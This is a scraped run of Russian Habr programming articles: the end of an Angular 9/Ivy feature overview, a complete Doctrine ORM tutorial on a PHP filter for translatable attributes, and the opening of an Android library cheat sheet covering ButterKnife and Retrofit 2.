* Небольшие приложения, которые не используют много функций фреймворка, могут извлечь наибольшую пользу из treeshaking
* Большие приложения с большим количеством компонентов могут получить пользу из уменьшения размера фабрик.
* Средние приложения получат приблизительно теже, или немного меньшие размеры, так как они меньше выигрывают от treeshaking и не используют много компонентов, чтобы сильно выиграть от меньших фабрик.
#### Более быстрое тестирование
Также обновилась реализация TestBed в Ivy, став более эффективной.
Ранее TestBed перекомпилировал все компоненты между запусками каждого теста, независимо от того, были ли внесены какие-либо изменения в компоненты (например, через переопределения).
В Ivy TestBed не перекомпилирует компоненты, если компонент не был переопределен вручную, что позволяет избежать перекомпиляции между большинством тестов.
С этим изменением основные тесты фреймворка проходят примерно на 40% быстрее. Ожидается, что пользователи заметят прирост скорости тестирования их приложений на уровне 40-50%.
#### Улучшенный debugging
Ivy предоставляет дополнительные инструменты для отладки приложений. При запуске приложения в режиме разработки с помощью среды выполнения Ivy, теперь предлагается новый объект для отладки ng.
* Вы можете запросить у Angular доступ к экземплярам ваших компонентов, директив и т. д
* Вы можете вручную вызывать методы и обновлять состояние
* Если вы хотите увидеть результаты обнаружения изменений, вы можете запустить обнаружение изменений с помощью applyChanges
Ivy также улучшает stack trace для отладки таких проблем, как ExpressionChangedAfterItHasBeenCheckederror. Ранее стэк был не очень полезен:
С помощью Ivy вы видите более полезную информацию, которая позволяет перейти непосредственно к инструкции шаблона с измененным выражением.
Например, если вы нажмете на AppComponent\_Template в стэке, приведенном выше, вы можете увидеть конкретную строку в сгенерированном коде, где возникает ошибка:
Если хотите, вы также можете перейти к любой из этих инструкций фреймворка, чтобы отследить, как фреймворк создает или обновляет ваши компоненты.
#### Улучшен байндинг стилей и CSS классов
Ivy предоставляет улучшения для обработки стилей. Ранее, если приложение содержало конкурирующие определения стилей, эти стили могли заменять друг друга. С Ivy стили сливаются предсказуемо.
Рассмотрим следующие фрагменты шаблона и компонента:
```
@Component({
host: {
style: "color:blue"
},...
})
...
@Directive({
host: {
style: "color:black",
"[style.color]": "property"
},...
})
...
```
Ранее применялась та привязка, которая вычислялась последней, и это могло зависеть от времени внесения изменений в эти выражения. Если бы myColor и myOtherColor были неопределенными, статический «красный» стиль был бы проигнорирован.
В версии 9 вы можете управлять своими стилями с помощью четкого приоритета, который не зависит от времени. Наиболее специфичные стили имеют высший приоритет. Например, привязка к [style.color] переопределяет пересекающуюся привязку [style].
Однако из соображений обратной совместимости мы оставили поведение [ngStyle] и [ngClass] таким же, как и раньше. При обновлении значений привязок, новые значения будут переопределять любые пересекающиеся привязки.
Подробнее о правилах приоритета стилей можно прочитать [в руководстве по синтаксису шаблона](https://v9.angular.io/guide/template-syntax#styling-precedence) в документации.
В качестве побочного эффекта рефакторинга стилей теперь можно также привязываться к CSS переменным (CSS custom properties).
```
hi
```
#### Улучшена проверка типов
Компилятор Angular может проверять больше типов приложения и применять более строгие правила. Эти функции помогут вам выявлять ошибки на ранних стадиях разработки.
Поддерживается два основных флага для дополнительных проверок типа в дополнение к стандартным.:
* fullTemplateTypeCheck — включение этого флага указывает компилятору, проверять все, что находится в вашем шаблоне (ngIf, ngFor, тп-template, и т. д)
* strictTemplates — активация этого флага применит самые строгие правила для проверки типов.
→ [Больше о проверке типов в шаблонах](https://v9.angular.io/guide/template-typecheck)
#### Исправлены ошибки сборки
Новый компилятор Ivy не только быстрее и обеспечивает более высокую безопасность типов, но и упрощает чтение сообщений об ошибках.
В версии 8 или View Engine типичная ошибка компилятора будет выглядеть следующим образом:
В версии 9 с Ivy та же ошибка выглядит так:
#### Улучшено время сборки, по умолчанию включен AOT компилятор.
Благодаря архитектуре Ivy значительно повысилась производительность компилятора.
Измерена производительность компилятора с точки зрения накладных расходов на простой компиляции TypeScript приложения. Для нашего проекта документации (angular.io), накладные расходы уменьшились с 0,8х до 0, х с Ivy, улучшение составило почти 40%.
Эти значит, что сборки AOT могут быть заметно быстрее. Благодаря этому можно использовать AOT даже в режиме dev. Это означает, что «ng serve» теперь имеет теже преимущества, что и релизные сборки, улучшая опыт разработчика для Angular.
Благодаря изменениям в компиляторе и среде выполнения, также больше не требуются entryComponents. Эти компоненты будут обнаружены и скомпилированы автоматически при их использовании.
#### Улучшенная интернационализация (i18n)
Интернационализация была особенностью Angular, где вы могли построить приложение один раз для одной локали и получать высоко оптимизированные и локализованные приложения. В версии 9.0 ускорился процесс, переместив подстановки i18n позднее в процессе сборки. Это изменение позволило сделать его в 10 раз быстрее.
→ [Подробнее о новом i18n](https://v9.angular.io/guide/i18n): [angular](https://habr.com/ru/users/angular/)/localize и новом angular.json.
#### Более надежный ng update
Внесены изменения в работу ng update, чтобы сделать его более надежным и информативным.
* Всегда используйте последнюю версию CLI. Начиная с 8.3.19 CLI, мы теперь используем CLI из целевой версии обновления. В дальнейшем обновления всегда будут обрабатываться последним CLI.
* Более четкий прогресс обновления. ng update теперь дает больше информации о том, что происходит под капотом. Для каждой миграции вы увидите информацию о ней.
* Более простая отладка обновлений. По умолчанию ng update запускает все миграции и оставляет совокупные изменения на диске для проверки. Обновление версии 9 также вводит новый флаг --create-commits. Когда вы запускаете ng update --create-commits, инструмент фиксирует состояние вашей кодовой базы после каждой миграции, так что вы можете пошагово выполнять и отлаживать изменения, которые сносятся в ваш код.
#### Новые возможности «providedIn»
Когда вы создаете сервис @Injectable в Angular, вы должны выбрать, где он добавляется к инжектору. В дополнение к предыдущим опциям «root» и «module», у появились две дополнительные опции.
* platform — указание providedIn: 'platform' делает сервис доступным в специальном singleton инжекторе платформы, который совместно используется всеми приложениями на странице.
* any — предоставляет уникальный экземпляр для каждого модуля (включая lazy модули)
→ [Подробнее о providedIn](https://v9.angular.io/api/core/Injectable)
#### Обвязка компонент
Тестирование компонентов исторически опиралось на использование деталей реализации, таких как CSS-селекторы, для поиска компонентов и запуска событий. Это означало, что всякий раз, когда библиотека компонентов изменялась, все тесты, основанные на этих компонентах, должны были обновляться.
В версии 9 появились обвязки компонент, которые предлагают альтернативный способ тестирования. Абстрагируясь от деталей реализации, вы можете быть уверены, что ваши тесты правильно определены и менее хрупки.
Большинство компонентов Angular Material теперь можно протестировать с помощью этих обвязок, и они также доступными для любого автора компонент в составе (CDK).
Вот пример теста раньше:
```
it("should switch to bug report template", async () => {
expect(fixture.debugElement.query("bug-report-form")).toBeNull();
const selectTrigger = fixture.debugElement.query(
By.css(".mat-select-trigger")
);
selectTrigger.triggerEventHandler("click", {});
fixture.detectChanges();
await fixture.whenStable();
const options = document.querySelectorAll(".mat-select-panel mat-option");
options[1].click(); // Click the second option, "Bug".
fixture.detectChanges();
await fixture.whenStable();
expect(fixture.debugElement.query("bug-report-form")).not.toBeNull();
});
```
И то же самое теперь:
```
it("should switch to bug report template", async () => {
expect(fixture.debugElement.query("bug-report-form")).toBeNull();
const select = await loader.getHarness(MatSelect);
await select.clickOptions({ text: "Bug" });
expect(fixture.debugElement.query("bug-report-form")).not.toBeNull();
});
```
#### Новые компоненты
Теперь вы можете включать в свои приложения возможности из YouTube и Google Maps.
* Вы можете встроить плеер YouTube в ваше приложение с помощью нового проигрывателя youtube.
* Мы также представляем компоненты google-maps. Эти компоненты позволяют легко визуализировать Google Maps, отображать маркеры и подключать интерактивность таким образом, чтобы она работала как обычный angular компонент, избавляя вас от необходимости изучать API Google Maps.
#### IDE & улучшение language service
Значительные улучшения были внесены в расширение Angular language service на платформе Visual Studio Marketplace. Наряду с капитальным архитектурным ремонтом для решения проблем производительности и стабильности, были исправлены многие давние ошибки.
* Грамматика TextMate для синтаксиса шаблонов теперь позволяет выделять синтаксис как во встроенных, так и во внешних шаблонах
* «Перейти к определению» для templateUrl и styleUrls
* Информация о типах и NgModule во всплывающей подсказке
#### Поддержка TypeScript 3.7
Angular обновлен для работы с TypeScript 3.6 и 3.7, включая чрезвычайно популярную функцию опционального связывания в TypeScript 3.7. Чтобы оставаться актуальными экосистеме, мы также обновили версии других зависимостей, таких как zone.JS и RxJS. | https://habr.com/ru/post/487362/ | null | ru | null |
# Doctrine, расширяем возможности любимого ORM-фреймворка! Часть 1.b (I18n, модификация быстрого доступа к переводимым атрибутам)
В прошлой [статье](http://habrahabr.ru/blogs/doctrine/79878/) я рассматривал один из способов быстрого доступа к переводимым атрибутам. Для того что бы понять о чем вообще идет речь, настоятельно рекомендуется прочитать укзаную статью перед этой ) Для тех, кто уже читал, напомню, что основной цимес состоял в искусственных гетерах и сетерах через hasAccessorMutator(), которые в свою очередь оверрайдились через \_\_call()-функцию шаблона. Очевидный минус этого подхода это невозможность использовать \_\_call() в других шаблонах, что не есть хорошо. Есть более красивый и эффективный способ реализовать такой доступ, причем он изначально был предусмотрен в Doctrine чуть ли не с самых первых версий — это фильтры атрибутов. И снова под катом много кода и текста.
### Быстрый доступ к переводимым атрибутам через фильры
Как же все-таки фильтры используются в Doctrine\_Record? Не вдаваясь в продробности, примерная схема выглядит таким образом:
* $record->attribute — скрипт запрашивает некий атрибут
* вызывается метод Doctrine::\_\_get('attribute'), который вызывает Doctrine\_Record::get('attribute'), а он в свою очередь метод Doctrine::\_get('attribute').
* в процессе этой очереди происходят проверки на наличие accessor'ов и mutator'ов (та же очередь соответстует и сеттерам), наличия ассоциаций и др. и в самом конце вызывается прелюбопытнейшая конструкция...
> `// код из Doctrine\_Record::\_get() в самом конце метода
>
> foreach ($this->\_table->getFilters() as $filter) {
>
> try {
>
> $value = $filter->filterGet($this, $fieldName);
>
> $success = true;
>
> } catch (Doctrine\_Exception $e) {}
>
> }
>
> if ($success) {
>
> return $value;
>
> } else {
>
> throw $e;
>
> }`
как видно, для любого аттрибута (в том числе и не существующего) делается вызов filterGet() для каждого экземпляра фильтра, назначеного для записи!
Что это может значить для нас? А то, что мы можем использовать родной метод доступа к атрибутам через внешний класс фильтра. По умолчанию в Doctrine\_Record установлен только 1 фильтр — Doctrine\_Record\_Filter\_Compound, который отслеживает наличие заданого атрибута, и если его не существует — кидает исключение. Это исключение ловится в Doctrine\_Record и либо переходит к следующему фильтру, либо повторно его вызывает, если фильтры закончились. Все достаточно просто и наша задача сводится к тому что бы реализовать свой фильтр, который будет перехватывать вызов атрибутов, которые мы укажем в инициализации и возвращать значения соответствующих полей ассоциации Translation для нашей записи, а для других кидать исключение. Как видно из вставки кода (см. выше), запись вызывает фильтры по порядку и ловит их исключеня либо результат для того, что бы перейти к следующему фильру. Попробуем реализовать такой фильтр.
### Фильтр
Для начала, что бы создать какой-либо фильтр, нужно создать класс пронаследованый из Doctrine\_Record\_Filter и реализовать 2 абстрактных метода Doctrine\_Record\_Filter::filterGet() и Doctrine\_Record\_Filter::filterSet(). Как видно из примерной схемы работы геттеров и сеттеров (см. выше) запись вызывает фильтры по порядку, а а случае каких-то ошибок мы должны кидать исключение.
Я не буду на этот раз вдаваться в цепочки рассуждений как надо писать классы, а приведу сразу готовый код фильтра, а потом займемся анализом что и зачем нужно.
> `/\*\*
>
> \* EasyAccess package filter. Implements access to record's properties as for translated in I18n.
>
> \*
>
> \* Can be used as a part of Of\_ExtDoctrine\_I18n\_Helper system, or as stand-alone filter both.
>
> \*
>
> \* @author OmeZ
>
> \* @version 1.0
>
> \* @license www.opensource.org/licenses/lgpl-license.php LGPL
>
> \* @package Of\_ExtDoctrine\_I18n\_EasyAccess
>
> \*/
>
> class Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter extends Doctrine\_Record\_Filter {
>
>
>
> /\*\*
>
> \* Fields
>
> \*
>
> \* @var array
>
> \*/
>
> protected $\_fields = array();
>
>
>
> /\*\*
>
> \* Language
>
> \*
>
> \* @var string
>
> \*/
>
> protected $\_language;
>
>
>
> /\*\*
>
> \* @var Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface
>
> \*/
>
> protected $\_owner;
>
>
>
> /\*\*
>
> \* Constructs new filter with options
>
> \*
>
> \* @param array $options
>
> \* @return void
>
> \*/
>
> public function \_\_construct(array $options) {
>
> if (isset($options['fields'])) $this->setFields($options['fields']);
>
> if (isset($options['language'])) $this->setLanguage($options['language']);
>
> if (isset($options['owner'])) $this->setOwner($options['owner']);
>
> }
>
>
>
> /\*\*
>
> \* Returns owner of filter
>
> \*
>
> \* @return Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface
>
> \*/
>
> public function getOwner() {
>
> return $this->\_owner;
>
> }
>
>
>
> /\*\*
>
> \* Sets owner for filter
>
> \*
>
> \* @param Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface $owner
>
> \* @return Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter
>
> \*/
>
> public function setOwner(Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface $owner) {
>
> $this->\_owner = $owner;
>
> return $this;
>
> }
>
>
>
> /\*\*
>
> \* Returns fields aliases for filter
>
> \*
>
> \* @return array
>
> \*/
>
> public function getFields() {
>
> return $this->\_fields;
>
> }
>
>
>
> /\*\*
>
> \* Sets fields aliases for filter
>
> \*
>
> \* @param $fields
>
> \* @return Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter
>
> \*/
>
> public function setFields($fields) {
>
> $this->\_fields = (array)$fields;
>
> return $this;
>
> }
>
>
>
> /\*\*
>
> \* Returns default language for filter
>
> \*
>
> \* @return string
>
> \*/
>
> public function getLanguage() {
>
> if ($this->\_language !== null) {
>
> return $this->\_language;
>
> } elseif ($this->\_owner) {
>
> return $this->\_owner->getLanguage();
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/Exception.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_Exception('Impossible to detect language');
>
> }
>
> }
>
>
>
> /\*\*
>
> \* Sets language to filter
>
> \*
>
> \* @return Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter
>
> \*/
>
> public function setLanguage($language) {
>
> $this->\_language = $language;
>
> return $this;
>
> }
>
>
>
> /\*\*
>
> \* Returns value of translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @return mixed
>
> \*/
>
> public function filterGet(Doctrine\_Record $record, $name) {
>
> return $this->getTranslation($record, $name, $this->getLanguage());
>
> }
>
>
>
> /\*\*
>
> \* Sets value to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param mixed $value
>
> \* @return void
>
> \*/
>
> public function filterSet(Doctrine\_Record $record, $name, $value) {
>
> return $this->setTranslation($record, $name, $value, $this->getLanguage());
>
> }
>
>
>
> /\*\*
>
> \* Language dependent getter to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param string $language
>
> \* @param boolean $return\_first\_found
>
> \* @return mixed
>
> \*/
>
> public function getTranslation(Doctrine\_Record $record, $name, $language = null, $return\_first\_found = true) {
>
> if (in\_array($name, $this->\_fields)) {
>
> $language = empty($language)?(string)$this->getLanguage():(string)$language;
>
> if ($record->hasRelation('Translation')) {
>
> if ($record->Translation->contains($language)) {
>
> return $record->Translation[$language][$name];
>
> } elseif ($return\_first\_found && $record->Translation->count()) {
>
> foreach ($record->Translation as $translation)
>
> if (!empty($translation[$name]))
>
> return $translation[$name];
>
> return null;
>
> } else return null;
>
> } else return null;
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/NotTranslatableException.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_NotTranslatableException("Field {$name} is not marked as easy getter to tranlsatable attribute in ".get\_class($record));
>
> }
>
> }
>
>
>
> /\*\*
>
> \* Language dependent setter to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param mixed $value
>
> \* @param string $language
>
> \* @return void
>
> \*/
>
> public function setTranslation(Doctrine\_Record $record, $name, $value, $language = null) {
>
> if (in\_array($name, $this->\_fields)) {
>
> $language = empty($language)?(string)$this->getLanguage():(string)$language;
>
> if ($record->hasRelation('Translation')) {
>
> $record->Translation[$language][$name] = $value;
>
> }
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/NotTranslatableException.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_NotTranslatableException("Field {$name} is not marked as easy setter to tranlsatable attribute in ".get\_class($record));
>
> }
>
> }
>
>
>
> }`
#### Analysis time!
##### Конструктор
> `/\*\*
>
> \* Constructs new filter with options
>
> \*
>
> \* @param array $options
>
> \* @return void
>
> \*/
>
> public function \_\_construct(array $options) {
>
> if (isset($options['fields'])) $this->setFields($options['fields']);
>
> if (isset($options['language'])) $this->setLanguage($options['language']);
>
> if (isset($options['owner'])) $this->setOwner($options['owner']);
>
> }`
Здесь мы проводим инициализацию нашего фильтра, и передаем ему список опций, в которых содержится информация о полях, языке, и загадочном владельце фильтра. Рассмотрим опции поближе (интерфейс аналогичный приведенному в предыдущей [статье](http://habrahabr.ru/blogs/doctrine/79878/)):
* *'fields'* — список атрибутов которые мы будем отслеживать. Забегая вперед скажу что если мы укажем несуществующий атрибут и обратимся к нему — фильтр кинет исключение
* *'language'* — язык по умолчанию, который мы будем использовать для доступа к аттрибутам
* *'owner'* — загадочный владелец фильтра. Эта опция используется для того что бы указать какой-нибудь объект (интерфейса Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface), к которому будет обращаться фильтр что бы получить язык, если он не был до этого задан. Но об этом потом
##### Методы установки и получения опций
Это набор методов (get/set)Fields(), (get/set)Language(), (get/set)Owner(). В принцие здесь ничего нетревиального, потом подробно рассматривать все не буду. Остановлюсь только getLanguage(), т.к. в нем опять появляется загадочный владелец:
> `/\*\*
>
> \* Returns default language for filter
>
> \*
>
> \* @return string
>
> \*/
>
> public function getLanguage() {
>
> if ($this->\_language !== null) {
>
> return $this->\_language;
>
> } elseif ($this->\_owner) {
>
> return $this->\_owner->getLanguage();
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/Exception.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_Exception('Impossible to detect language');
>
> }
>
> }`
Как видно, owner нам нужен исключительно для того, что бы запросить язык, если его собственное значение не указано. Это сделано для того что бы позволить этому фильтру интегрироваться в другую структуру. В моем случае это модифицированый шаблон Of\_ExtDoctrine\_I18n\_EasyAccess\_Helper, аналог которого я рассматривал в предыдущей [статье](http://habrahabr.ru/blogs/doctrine/79878/). Owner должен следовать интерфейсу *Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface*, в котором содержится только один публичный метод getLanguage()
> `interface Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface {
>
>
>
> /\*\*
>
> \* Returns language for inherited components
>
> \*
>
> \* @return string
>
> \*/
>
> public function getLanguage();
>
>
>
> }`
##### Методы фильтра
Вот в конце концов и подобрались к самим методам, которые реализуют необходимый функционал фильтра.
> `/\*\*
>
> \* Returns value of translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @return mixed
>
> \*/
>
> public function filterGet(Doctrine\_Record $record, $name) {
>
> return $this->getTranslation($record, $name, $this->getLanguage());
>
> }
>
>
>
> /\*\*
>
> \* Sets value to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param mixed $value
>
> \* @return void
>
> \*/
>
> public function filterSet(Doctrine\_Record $record, $name, $value) {
>
> return $this->setTranslation($record, $name, $value, $this->getLanguage());
>
> }
>
>
>
> /\*\*
>
> \* Language dependent getter to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param string $language
>
> \* @param boolean $return\_first\_found
>
> \* @return mixed
>
> \*/
>
> public function getTranslation(Doctrine\_Record $record, $name, $language = null, $return\_first\_found = true) {
>
> if (in\_array($name, $this->\_fields)) {
>
> $language = empty($language)?(string)$this->getLanguage():(string)$language;
>
> if ($record->hasRelation('Translation')) {
>
> if ($record->Translation->contains($language)) {
>
> return $record->Translation[$language][$name];
>
> } elseif ($return\_first\_found && $record->Translation->count()) {
>
> foreach ($record->Translation as $translation)
>
> if (!empty($translation[$name]))
>
> return $translation[$name];
>
> return null;
>
> } else return null;
>
> } else return null;
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/NotTranslatableException.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_NotTranslatableException("Field {$name} is not marked as easy getter to tranlsatable attribute in ".get\_class($record));
>
> }
>
> }
>
>
>
> /\*\*
>
> \* Language dependent setter to translatable attribute
>
> \*
>
> \* @param Doctrine\_Record $record
>
> \* @param string $name
>
> \* @param mixed $value
>
> \* @param string $language
>
> \* @return void
>
> \*/
>
> public function setTranslation(Doctrine\_Record $record, $name, $value, $language = null) {
>
> if (in\_array($name, $this->\_fields)) {
>
> $language = empty($language)?(string)$this->getLanguage():(string)$language;
>
> if ($record->hasRelation('Translation')) {
>
> $record->Translation[$language][$name] = $value;
>
> }
>
> } else {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/NotTranslatableException.php';
>
> throw new Of\_ExtDoctrine\_I18n\_EasyAccess\_NotTranslatableException("Field {$name} is not marked as easy setter to tranlsatable attribute in ".get\_class($record));
>
> }
>
> }`
Видно, что они практически не отличаются от accessor'ов и mutator'ов из прошлой части и состоят из 2х методов фильтрации и 2х искусственных геттеров и сеттеров. Я их сделал потому что хотелось бы оставить возможность получить значение перевода для произвольного языка при случае.
Также в геттере появилась возможность отключать или включать возможность поиска первого переведенного значения в случае, когда перевод для текущего языка пуст. По умолчанию он включен, но надо будет как-нибудь вынести его в дополнительную опцию.
#### Подключение фильтра
Создадим запись аналогичную той, что в первой части и подключим фильтр.
> `class Product extends Doctrine\_Record {
>
>
>
> public function setTableDefinition() {
>
> //....
>
> $this->hasColumn('name', 'string', 255);
>
> $this->hasColumn('description', 'string');
>
> //....
>
> }
>
>
>
> public function setUp() {
>
>
>
> $this->actAs('I18n', array(
>
> 'fields'=>array('name', 'description')
>
> ));
>
>
>
> $i18nFilter = new Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter(array(
>
> 'language'=>'en',
>
> 'fields'=>array('name', 'description') // используем все доступные для перевода поля
>
> ));
>
> $this->getTable()->unshiftFilter($i18nFilter);
>
> }
>
>
>
> }`
> `$record = new Product();
>
> $record->description = 'my description'; // аналогично $record->Translation['en']->description
>
>
>
> echo $record->description; // вывод аналогичен echo $record->Translation['en']->description`
При доступе к аттрибуту «description» сработает фильтр и вернется значение для английского языка, а вот если обратится к неуказаному атрибуту фильтр кинет исключение, а следующий за ним фильтр Doctrine\_Record\_Filter\_Compound скажет нам о том, что такого атрибута не существует
> `try {
>
> echo $record->lol; // кинет эксепшн
>
> } catch (Of\_ExtDoctrine\_I18n\_EasyAccess\_NotTranslatableException $e) {
>
> //...
>
> }`
Аналогично будет и для записи в атрибут, я ее рассматривать не буду.
### Интеграция с шаблоном
Раньше я рассматривал доступ к аттрибутам через шаблон Of\_ExtDoctrine\_I18n\_Template. Попробуем изменить его таким образом что бы вместо hasAccessorMutator использовался наш фильтр. Попутно изменю и название, что бы оформить нашу систему в один пакет Of\_ExtDoctrine\_I18n\_EasyAccess. Сразу привожу исходный код класса.
> `/\*\*
>
> \* Temlate implements extrabehavior for standard Doctrine I18n template.
>
> \*
>
> \* @author OmeZ
>
> \* @version 1.7
>
> \* @license www.opensource.org/licenses/lgpl-license.php LGPL
>
> \* @package Of\_ExtDoctrine\_I18n\_EasyAccess
>
> \*/
>
> class Of\_ExtDoctrine\_I18n\_EasyAccess\_Helper extends Doctrine\_Template implements Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface {
>
>
>
> protected $\_options = array(
>
> 'language'=>null,
>
> 'fields'=>null,
>
> 'disableFilter'=>false,
>
> );
>
>
>
> /\*\*
>
> \* Holds default language for all behaviors
>
> \*
>
> \* @var string
>
> \*/
>
> static protected $\_defaultLanguage;
>
>
>
> /\*\*
>
> \* Holds language for current model behavior
>
> \*
>
> \* @var string
>
> \*/
>
> protected $\_language;
>
>
>
> /\*\*
>
> \* EasyAccess filter
>
> \*
>
> \* @var Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter
>
> \*/
>
> protected $\_easyaccess\_filter;
>
>
>
> public function setUp() {
>
>
>
> $language = $this->getOption('language');
>
> if ($language) $this->setLanguage($language);
>
>
>
> // Adds filter for access to properties, this can be used as stand-alone plugin
>
> if (!$this->getOption('disableFilter')) {
>
> require\_once 'Of/ExtDoctrine/I18n/EasyAccess/Filter.php';
>
> $this->\_easyaccess\_filter = new Of\_ExtDoctrine\_I18n\_EasyAccess\_Filter(array(
>
> 'owner'=>$this,
>
> 'language'=>null, // this value will make filter access to template getLanguage() method
>
> 'fields'=>$this->getOption('fields', array())
>
> ));
>
> $this->\_table->unshiftFilter($this->\_easyaccess\_filter);
>
> }
>
>
>
> // adds listener to manage Doctrine\_Query hydrations. Will add translatable props as keys in
>
> // array when HYDRATE\_ARRAY, or mapped values in records. This can be used as stand-alone plugin
>
> }
>
>
>
> /\*\*
>
> \* Returns default language for all behaviors
>
> \*
>
> \* @return string
>
> \*/
>
> static public function getDefaultLanguage() {
>
> return (string)self::$\_defaultLanguage;
>
> }
>
>
>
> /\*\*
>
> \* Sets default language for all behaviors
>
> \*
>
> \* @param string $language
>
> \* @return void
>
> \*/
>
> static public function setDefaultLanguage($language) {
>
> self::$\_defaultLanguage = $language;
>
> }
>
>
>
> /\*\*
>
> \* Returns current language behavior
>
> \*
>
> \* @return void
>
> \*/
>
> public function getLanguage($without\_static = false) {
>
> if ($this->\_language === null && !$without\_static) return self::getDefaultLanguage();
>
> else return (string)$this->\_language;
>
> }
>
>
>
> /\*\*
>
> \* Sets current behavior language
>
> \*
>
> \* @param $language
>
> \* @return string
>
> \*/
>
> public function setLanguage($language) {
>
> $this->\_language = $language;
>
> }
>
> }`
В шаблоне практически ничего не изменлось, мы просто избавились от методов чтения/записи в Translation, т.к. они перенесены в фильтр, а также метода \_\_call() потому что он уже не нужен по тем же причинам.
Установка фильтра в таблицу происходит в методе setUp() как и раньше, добавлена опция disableFilter если по каким-то причинам нам нужно отлючить фильтр. В качестве владельца фильтра мы устанавливаем наш шаблон и передаем пустое заначение языка, что позволяет шаблону контролировать текущее значение языка фильтра, метод Of\_ExtDoctrine\_I18n\_EasyAccess\_OwnerInterface::getLanguage() у нас уже реализован. Все, остается подключить шаблон в нашей демо-записи и провести тесты
> `class Product extends Doctrine\_Record {
>
>
>
> public function setTableDefinition() {
>
> //....
>
> $this->hasColumn('name', 'string', 255);
>
> $this->hasColumn('description', 'string');
>
> //....
>
> }
>
>
>
> public function setUp() {
>
>
>
> $this->actAs('I18n', array(
>
> 'fields'=>array('name', 'description')
>
> ));
>
>
>
> $this->actAs(new Of\_ExtDoctrine\_I18n\_EasyAccess\_Helper(array(
>
> 'fields'=>array('name', 'description') // используем все доступные для перевода поля
>
> )));
>
>
>
> }
>
>
>
> }`
> `$record = new Product();
>
>
>
> $record->description = 'my description'; // аналогично $record->Translation['en']->description
>
> echo $record->description; // вывод аналогичен echo $record->Translation['en']->description
>
>
>
> $record->setLanguage('ru'); // установим русский язык по дефолту
>
>
>
> echo $record->description; // выведет 'my description', т.к. перевода для русского нет и фильтр ищет первый доступный перевод`
### Заключение
Такая реализация доступа гораздо удобнее, и, как оказалось, гораздо быстрее способа описаного ранее. Следующим шагом будет возможность доступа к атрибутам при различных методах гидрации, например в Doctrine::HYDRATE\_ARRAY, т.к. там не создается объектов и мы все равно будем вынуждены пользоваться Translation-ассоциацией (в данном случае вложеным массивом).
Все классы одним архивом можно найти [здесь](http://o-framework.googlecode.com/files/Of.zip)
PS. Внимательный читатель наверняка мог заметить, что в фильтре повторяется обвяз для полей и языка, описаный в шаблоне. Это было использовано для того, что бы можно было использовать фильтр как stand-alone компонент не прибегая к шаблону, что я считаю хорошим тоном для подобного рода систем.
В этой статье код был подсвечен при помощи [Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx). | https://habr.com/ru/post/80330/ | null | ru | null |
# Шпаргалка или Must have для андроид разработчика
Статья была создана для разработчиков которые желают найти новые инструменты и библиотеки для дальнейшего упрощения рутинной жизни.
Итак, начнем.
Butterknife
-----------
Библиотека была разработана компанией Square и сразу же прижилась у разработчиков. ButterKnife был создан на замену `findViewById` для того чтобы уменьшить и без того раздутые `activity`:
```
View someView = (View) findViewById(R.id.someView)
```
Вы только посмотрите какая длинная строка! А если это поле класса — то это целых две строки:
```
View someView; //Первая строка
...
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
someView = (View) findViewById(R.id.someView); //Вторая строка
}
```
А теперь перейдем к ButterKnife. Вот простой пример кода с ButterKnife:
```
@BindView(R.id.someView1) View view1;
@BindView(R.id.someView2) View view2;
@BindView(R.id.someView3) View view3;
...
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ButterKnife.bind(this); //Важная строка
}
```
Все очень просто: с помощью аннотации `@BindView` мы говорим какая вьюха нам нужна, и потом главное не забыть про `ButterKnife.bind(this);`(Так делать нужно в активити, для других мест вроде holder или fragment это делают немного по-другому. [Смотрите здесь](http://jakewharton.github.io/butterknife/).
Как добавить к проекту?
Gradle(app module):
```
compile 'com.jakewharton:butterknife:8.5.1'
apt 'com.jakewharton:butterknife-compiler:8.5.1'
или annotationProcessor 'com.jakewharton:butterknife-compiler:8.5.1' с jack
```
Retrofit 2
----------
Компания Square создала не только ButterKnife, но и много других прекрасных библиотек без которых многие разработчики не представляют свою жизнь. Одна из таких библиотек Retrofit 2.
Она была создана для того чтобы упростить работу с REST API. Раньше чтобы сделать запрос приходилось воротить горы кода, но сейчас все по-другому. Итак, как же сделать запрос?
